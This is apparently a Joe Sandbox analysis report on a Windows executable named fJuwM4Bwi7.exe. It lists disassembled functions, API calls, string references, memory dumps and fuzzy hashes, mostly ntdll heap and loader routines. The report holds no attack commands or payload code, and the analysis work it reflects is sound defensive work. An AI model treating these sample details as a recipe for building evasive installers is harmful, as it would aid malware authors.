Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll
API String ID: 427699356-1112140929
Opcode ID: f7e9c7c3a0b030329b9eac82e2999ac8e5cd3652365a72a00433b5ad3c482558
Instruction ID: 4826b5ec7f58a8945af1d05ae4e09a11cd1e532a13e769836b40841c5f4177c7
Opcode Fuzzy Hash: f7e9c7c3a0b030329b9eac82e2999ac8e5cd3652365a72a00433b5ad3c482558
Instruction Fuzzy Hash: 80F054B2A54244BFDB40ABA19E499EB66A4DB40309F10443FB141F61C2D5BC4941A66A

Function 004054E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421500,Error launching installer), ref: 0040550E
CloseHandle.KERNEL32(?), ref: 0040551B

Strings

Error launching installer, xrefs: 004054F8

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: a807c8c1498f9a3ccd34e9273e49e04dcb617f56f5cccdb726230c0895ca6d7f
Instruction ID: 0ae392a05d3974bec86de51aa2f8a5c28ff0ee3cdd976454f3eed0d5dd72dd2a
Opcode Fuzzy Hash: a807c8c1498f9a3ccd34e9273e49e04dcb617f56f5cccdb726230c0895ca6d7f
Instruction Fuzzy Hash: 2BE0BFB4A00209BFEB109FA4ED05F7B76ADEB14745F508561BD11F2160E774A9108A79

Function 004036F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,77462EE0,004036C9,77463410,004034D6,?), ref: 0040370C
GlobalFree.KERNEL32(006D20D8), ref: 00403713

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403704

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-787714339
Opcode ID: 86ea4e8f2e330b4051334ac2fa91e3adcb647da4565bec0431381526e270e322
Instruction ID: 0fe4964e98027e88380181352afc78dea88c0f551701ba437740c6db36bc47f5
Opcode Fuzzy Hash: 86ea4e8f2e330b4051334ac2fa91e3adcb647da4565bec0431381526e270e322
Instruction Fuzzy Hash: 0EE0EC7390512097C6215F96AD04B5ABB686B89B62F06842AED407B3A18B746C418BD9

Function 0040580D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402CE5,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\fJuwM4Bwi7.exe,C:\Users\user\Desktop\fJuwM4Bwi7.exe,80000000,00000003), ref: 00405813
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402CE5,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\fJuwM4Bwi7.exe,C:\Users\user\Desktop\fJuwM4Bwi7.exe,80000000,00000003), ref: 00405821

Strings

C:\Users\user\Desktop, xrefs: 0040580D

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3443045126
Opcode ID: c27a981e79bb352b20b7a8c74a9367836393bd04b8b6ccbc39cacac652a51138
Instruction ID: ba052d51ab232c33a65bcd29671eceb75c11827358d6bb1c4ef4a0a5cf44e1aa
Opcode Fuzzy Hash: c27a981e79bb352b20b7a8c74a9367836393bd04b8b6ccbc39cacac652a51138
Instruction Fuzzy Hash: 94D0A77341AD701EE30372109C04B8F6A48CF16300F098462E440B61A0C2780C414BED

Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000115B
GlobalFree.KERNEL32(00000000), ref: 100011B4
GlobalFree.KERNEL32(?), ref: 100011C7
GlobalFree.KERNEL32(?), ref: 100011F5

Memory Dump Source

Source File: 00000005.00000002.79058661791.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.79058630911.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.79058691430.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.79058724593.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_fJuwM4Bwi7.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction ID: 5d3a3765e571093bf703368c32e31ec5bfeafbef09712c331e02e9e13643e521
Opcode Fuzzy Hash: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction Fuzzy Hash: 6531ABB1808255AFF715CFA8DC89AEA7FE8EB052C1B164115FA45D726CDB34D910CB24

Function 0040592C Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B5B,00000000,[Rename],00000000,00000000,00000000), ref: 0040593C
lstrcmpiA.KERNEL32(00405B5B,00000000), ref: 00405954
CharNextA.USER32(00405B5B,?,00000000,00405B5B,00000000,[Rename],00000000,00000000,00000000), ref: 00405965
lstrlenA.KERNEL32(00405B5B,?,00000000,00405B5B,00000000,[Rename],00000000,00000000,00000000), ref: 0040596E

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 0add82ed76356020c4ee8264c56a6ad6875436601f5ed096891bbb40787d2247
Instruction ID: 6acf3bc3cda9f3bfd2525b0ac34aa546eab038af588102683640af0afc927a81
Opcode Fuzzy Hash: 0add82ed76356020c4ee8264c56a6ad6875436601f5ed096891bbb40787d2247
Instruction Fuzzy Hash: 27F0C232604518FFC7129BA4DD40D9FBBA8EF06360B2500AAE800F7250D274EE019FAA

Analysis Process: fJuwM4Bwi7.exePID: 3344, Parent PID: 8852COMMON

Execution Graph

Execution Coverage:	0%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	34.7%
Total number of Nodes:	95
Total number of Limit Nodes:	0

Executed Functions

Function 32952B90 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 32952B9A

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a3a392afab9672766efa8d7e4d985dd17228e3e019de7bfb67694f1776944846
Instruction ID: 416a01c55788266201ffc58e46d60df9dc2e5dd4945dc73a57fdcd1016f5ec2d
Opcode Fuzzy Hash: a3a392afab9672766efa8d7e4d985dd17228e3e019de7bfb67694f1776944846
Instruction Fuzzy Hash: AB90023120118802D5506158960475A005557D0319F55C856A4514618DC6A988997122

Function 329534E0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 329534EA

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7701345b3d285cd1338810a5180cf8d471c1c32c2e61c1d1c945abf2090fd830
Instruction ID: 2562144037972cc8e5e736afe160418c5b86023614e485078860c7b1e7a91280
Opcode Fuzzy Hash: 7701345b3d285cd1338810a5180cf8d471c1c32c2e61c1d1c945abf2090fd830
Instruction Fuzzy Hash: 9290023160520402D54061585714716105557D0219F61C856A0514528DC7A9895975A3

Non-executed Functions

Function 329B9060 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 558
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 329B9208
RtlDebugPrintTimes.NTDLL ref: 329B92A7
RtlDebugPrintTimes.NTDLL ref: 329B9387
RtlDebugPrintTimes.NTDLL ref: 329B9465
RtlDebugPrintTimes.NTDLL ref: 329B956A
RtlDebugPrintTimes.NTDLL ref: 329B9601
RtlDebugPrintTimes.NTDLL ref: 329B9714
RtlDebugPrintTimes.NTDLL ref: 329B987C

Strings

0, xrefs: 329B9776
, xrefs: 329B9657
, xrefs: 329B9704

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $ $0
API String ID: 3446177414-3352262554
Opcode ID: 8f2101f50bae0a24146bf931d7a88078ed5295c17da7f93dd4143287dd31d79e
Instruction ID: dd2b2453c8062a93692513380dfe1ba28445ab8920d5fca77bed70a0aedb08f1
Opcode Fuzzy Hash: 8f2101f50bae0a24146bf931d7a88078ed5295c17da7f93dd4143287dd31d79e
Instruction Fuzzy Hash: 7C3216B16183818FE750CF68C484B5BBBE9BF88348F00492EF99987251DBB5D949CF52

Function 329BF0A5 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 231
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 329BF0D6

Strings

Just allocated block at %p for 0x%Ix bytes with tag %ws, xrefs: 329BF33E
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 329BF389
Just allocated block at %p for %Ix bytes, xrefs: 329BF288
RtlAllocateHeap, xrefs: 329BF0ED
HEAP: , xrefs: 329BF274, 329BF321, 329BF378
HEAP[%wZ]: , xrefs: 329BF267, 329BF314, 329BF36B

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
API String ID: 3446177414-1745908468
Opcode ID: b5f38d8c031e708ae6bfc57cca2ba29b9638b0acd58e10ac669c9e64b9ad90a0
Instruction ID: e46966d8ec018c42972ee5ef15af2027bc60209186edc60790ba5cf96264ecbb
Opcode Fuzzy Hash: b5f38d8c031e708ae6bfc57cca2ba29b9638b0acd58e10ac669c9e64b9ad90a0
Instruction Fuzzy Hash: 4C91FE39901749DFDF02CFA8C440AADBBF6FF49358F048459E445AB652CB799982CB50

Function 3290640D Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 150
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 3290651C

Part of subcall function 32906565: RtlDebugPrintTimes.NTDLL ref: 32906614
Part of subcall function 32906565: RtlDebugPrintTimes.NTDLL ref: 3290665F

Strings

Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 3296977C
LdrpInitShimEngine, xrefs: 32969783, 32969796, 329697BF
Loading the shim engine DLL failed with status 0x%08lx, xrefs: 329697B9
Getting the shim engine exports failed with status 0x%08lx, xrefs: 32969790
apphelp.dll, xrefs: 32906446
minkernel\ntdll\ldrinit.c, xrefs: 329697A0, 329697C9

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-204845295
Opcode ID: 17fe8a395b718c914817f455a02ceaedada304d3edba18a61436e7ad7acb455c
Instruction ID: 03867a5993c63f9c8c218209f5c287719abc3df8a23099088374f3780d5fd2c1
Opcode Fuzzy Hash: 17fe8a395b718c914817f455a02ceaedada304d3edba18a61436e7ad7acb455c
Instruction Fuzzy Hash: F951B0752493049FF324CF24D890AABB7E8FF84758F40891DF68597265DB30D946CB92

Function 3290D2EC Relevance: 11.6, Strings: 9, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 3290D356
Control Panel\Desktop\MuiCached, xrefs: 3290D5CB
MachinePreferredUILanguages, xrefs: 3290D625
Control Panel\Desktop, xrefs: 3290D3FD
PreferredUILanguages, xrefs: 3290D458, 3290D465
@, xrefs: 3290D603
@, xrefs: 3290D389
PreferredUILanguagesPending, xrefs: 3296A66D
@, xrefs: 3290D43D

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 0-3532704233
Opcode ID: 338aafaf5611a11649519608ca94a6b7db44198a2ecaa7567f1fccd507ba8330
Instruction ID: a3870da761c58b601f36370b81c43d5f78aebce44e8fa8383d4961667025b019
Opcode Fuzzy Hash: 338aafaf5611a11649519608ca94a6b7db44198a2ecaa7567f1fccd507ba8330
Instruction Fuzzy Hash: 34B16AB69083499FD715CE24C840B5FB7E8EF88758F41892EF98997241DB70D948CFA2

Function 3293D6D0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 151timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3293D879

Part of subcall function 32914779: RtlDebugPrintTimes.NTDLL ref: 32914817

Strings

$, xrefs: 3293D820
Process 0x%p (%wZ) exiting, xrefs: 3297F0D1
$, xrefs: 3293D78D
LdrShutdownProcess, xrefs: 3297F0D8
minkernel\ntdll\ldrinit.c, xrefs: 3297F0E2

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1975516107
Opcode ID: e7eb1615060f4ab6edfe91d4cc19903373e691ecd2e51372ad6bad080fddd7c9
Instruction ID: 417d12a6366e0463dd71d822ab61878c489a7d55861df21c8823e1242d0f16d2
Opcode Fuzzy Hash: e7eb1615060f4ab6edfe91d4cc19903373e691ecd2e51372ad6bad080fddd7c9
Instruction Fuzzy Hash: 4C5115B5A463459FEB15CFA8C45478DBBF1BF44718F108059DA01BB285DB70E987CBA0

Function 3290D02D Relevance: 10.2, Strings: 8, Instructions: 249COMMON

Download Yara Rule

Strings

\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 3290D06F
@, xrefs: 3290D09D
Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 3290D0E6
Control Panel\Desktop\LanguageConfiguration, xrefs: 3290D136
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 3290D263
@, xrefs: 3290D2B3
@, xrefs: 3290D24F
Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 3290D202

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
API String ID: 0-1356375266
Opcode ID: 29a002e69c285f8e24dfb3edb2a1192045b383b9b328f2a1c4541ddb012f0d20
Instruction ID: 83573b6c60e5f52c4d16a73e4cd8063b741644b5da1c534d62bdd3fc1d0bf52a
Opcode Fuzzy Hash: 29a002e69c285f8e24dfb3edb2a1192045b383b9b328f2a1c4541ddb012f0d20
Instruction Fuzzy Hash: B8A101B59083499FE321CF14C840B9FB7E8EF88759F50492EF99896241DB74D948CFA2

Function 329BF51B Relevance: 10.2, Strings: 8, Instructions: 189COMMON

Download Yara Rule

Strings

Invalid ReserveSize parameter - %Ix, xrefs: 329BF56B
May not specify Lock parameter with HEAP_NO_SERIALIZE, xrefs: 329BF5FB
Specified HeapBase (%p) invalid, Status = %lx, xrefs: 329BF664
Invalid CommitSize parameter - %Ix, xrefs: 329BF5B2
HEAP: , xrefs: 329BF55F, 329BF5A4, 329BF5F0, 329BF655, 329BF6A3, 329BF6EA
Specified HeapBase (%p) is free or not writable, xrefs: 329BF6F8
HEAP[%wZ]: , xrefs: 329BF552, 329BF597, 329BF5E3, 329BF648, 329BF696, 329BF6DD
Specified HeapBase (%p) != to BaseAddress (%p), xrefs: 329BF6B2

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid CommitSize parameter - %Ix$Invalid ReserveSize parameter - %Ix$May not specify Lock parameter with HEAP_NO_SERIALIZE$Specified HeapBase (%p) != to BaseAddress (%p)$Specified HeapBase (%p) invalid, Status = %lx$Specified HeapBase (%p) is free or not writable
API String ID: 0-2224505338
Opcode ID: 9c87cdf2384340821eb1ed41915d4ea9a65b0d9f936da89ea2a769f1dff51003
Instruction ID: bbccb24c26bf8d2853b00a1dc9d8454cfdf9c363a7da886dd47015bb7c5b5e9f
Opcode Fuzzy Hash: 9c87cdf2384340821eb1ed41915d4ea9a65b0d9f936da89ea2a769f1dff51003
Instruction Fuzzy Hash: 5551263A90224CEFEB11CFE4C894F5AB3A8EF05768F108899F9119B652CA75D980CF10

Function 3293237A Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

LdrpDynamicShimModule, xrefs: 3297A7A5
Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 3297A79F
apphelp.dll, xrefs: 32932382
minkernel\ntdll\ldrinit.c, xrefs: 3297A7AF

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-176724104
Opcode ID: cd97b16a757fc39583a4fc7493ceaf9b459cee2d7e6aca20dac082952770c77f
Instruction ID: 1eea82e8ba738772c9dfdfd00063a148636b9fecf92e7891db12f937678d9d36
Opcode Fuzzy Hash: cd97b16a757fc39583a4fc7493ceaf9b459cee2d7e6aca20dac082952770c77f
Instruction Fuzzy Hash: 9A31E376E41300EFF7159F5DC880B9A77B9FF84B54F148459E9006B249DBB2A983CB90

Function 3290F113 Relevance: 8.2, Strings: 6, Instructions: 684COMMON

Download Yara Rule

Strings

(LONG)FreeEntry->Size > 1, xrefs: 3296E020
((LONG)FreeEntry->Size > 1), xrefs: 3296DE42
(!TrailingUCR), xrefs: 3296E138
HEAP: , xrefs: 3296DCF3, 3296DE37, 3296E015, 3296E12D
(UCRBlock != NULL), xrefs: 3296DCFE
HEAP[%wZ]: , xrefs: 3296DCE6, 3296DE2A, 3296E008, 3296E120

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-523794902
Opcode ID: 00c26f65706f4fb5f94dac276206dd6038b64359a66fcb3b0054aa5c487fc484
Instruction ID: f8803fbd9a1285f2d90f24b8bd68df0bf871b1e999a4651bd6a41dbb28b3b28c
Opcode Fuzzy Hash: 00c26f65706f4fb5f94dac276206dd6038b64359a66fcb3b0054aa5c487fc484
Instruction Fuzzy Hash: 73421F752083859FD315CF28C484B2AB7E9FF88758F048969E8958B342DF74DA85CF62

Function 3292B0D0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON

Download Yara Rule

Strings

SxS, xrefs: 329781FA
LdrpPreprocessDllName, xrefs: 32978210, 329782E4
DLL %wZ was redirected to %wZ by %s, xrefs: 32978209
API set, xrefs: 32978201, 32978206
LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx, xrefs: 329782DD
minkernel\ntdll\ldrutil.c, xrefs: 3297821A, 329782EE

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
API String ID: 0-122214566
Opcode ID: 401eee34100df56bc9a496123c9d83357631c871ef933bfe64e73a9d39a772cf
Instruction ID: 04f3312fc0674bc8072e1a3da5cf7428fc66dfda53fdbfb850f159c9c09f3106
Opcode Fuzzy Hash: 401eee34100df56bc9a496123c9d83357631c871ef933bfe64e73a9d39a772cf
